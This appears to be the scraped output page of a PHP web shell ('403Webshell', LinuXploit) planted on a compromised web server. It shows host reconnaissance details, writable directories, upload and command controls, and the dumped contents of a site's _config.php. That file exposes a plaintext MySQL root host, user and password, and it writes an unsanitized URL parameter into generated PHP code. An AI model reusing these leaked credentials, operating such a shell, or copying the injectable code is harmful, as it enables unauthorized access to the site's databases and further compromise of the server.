403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/theavaaddams.com/public_html/OLD FILes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/theavaaddams.com/public_html/OLD FILes/_config.php
<?php
session_start();
error_reporting(E_ALL); 
 // error_reporting(0);



include_once('class/db_class.php');
include_once('class/memcache.caching.php');
//  the following are to be altered by user
		define('CURR_SITE_ID', '30');
//  the preceeding are to be altered by user

$connection = new db;
$connection->connect('sql.branddanger.com', 'root', '82v1qXiASB27RZ4', 'bdGLOBAL');

 $query = "SELECT  name, nats_code, join_link, root_path, root_path_members, link, link_members, db_name, bg_dir, root_folder  FROM sites  where id = '".CURR_SITE_ID."' ";
		$db = new db();
		$site_fo  = $db->Query($query);
			define('SITE_NAME', $site_fo['0']['name']);
			
			define('NATS_CODE', $site_fo['0']['nats_code']);
			define('JOIN_LINK', $site_fo['0']['join_link']);
			define('ROOT_PATH', $site_fo['0']['root_path']);
			define('ROOT_PATH_MEMBERS', $site_fo['0']['root_path_members']);
			define('LINK', $site_fo['0']['link']);
			define('BG_DIR', $site_fo['0']['bg_dir']);
			define('LINK_MEMBERS', $site_fo['0']['link_members']);
			define('FOLDER', $site_fo['0']['db_name']);
define('DBNAME', $site_fo['0']['db_name']);




define('ROOT', dirname(__FILE__)); //FULL PATH TO ROOT DIRECTORY

define('ITEMS_PER_PAGE', 4);
define('SLIDESHOW_TIMEOUT', 10000); // 10 sec

$cookiename = DBNAME;
$cookiepath = '/';
$cookiedomain = '';
$cookiesecure = '0';

/*$connection = new db;
$connection->connect('sql.branddanger.com', 'root', '82v1qXiASB27RZ4', DBNAME);*/


// tour stuff
if(isset($_GET['nats_type']) && $_GET['nats_type'] == 'built')
	{	
		$nats = "<?=(\$_GET['nats']?\$_GET['nats']:'".NATS_CODE."')?>";
	}
else
	{	
		// do this for pages that are dynamic,  maybe insert default nats number here.
	@	$nats = ($_GET['nats']?$_GET['nats']:NATS_CODE);
	}

define('SITE_URL', LINK);	

define('TOUR_URL', LINK.'/free2/tour');	
define('TOUR_ROOT', ROOT_PATH."/free2/tour"); 

define('HOGAL_ROOT', ROOT_PATH."/freephotos");
define('HOGAL_URL', LINK."/freephotos");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit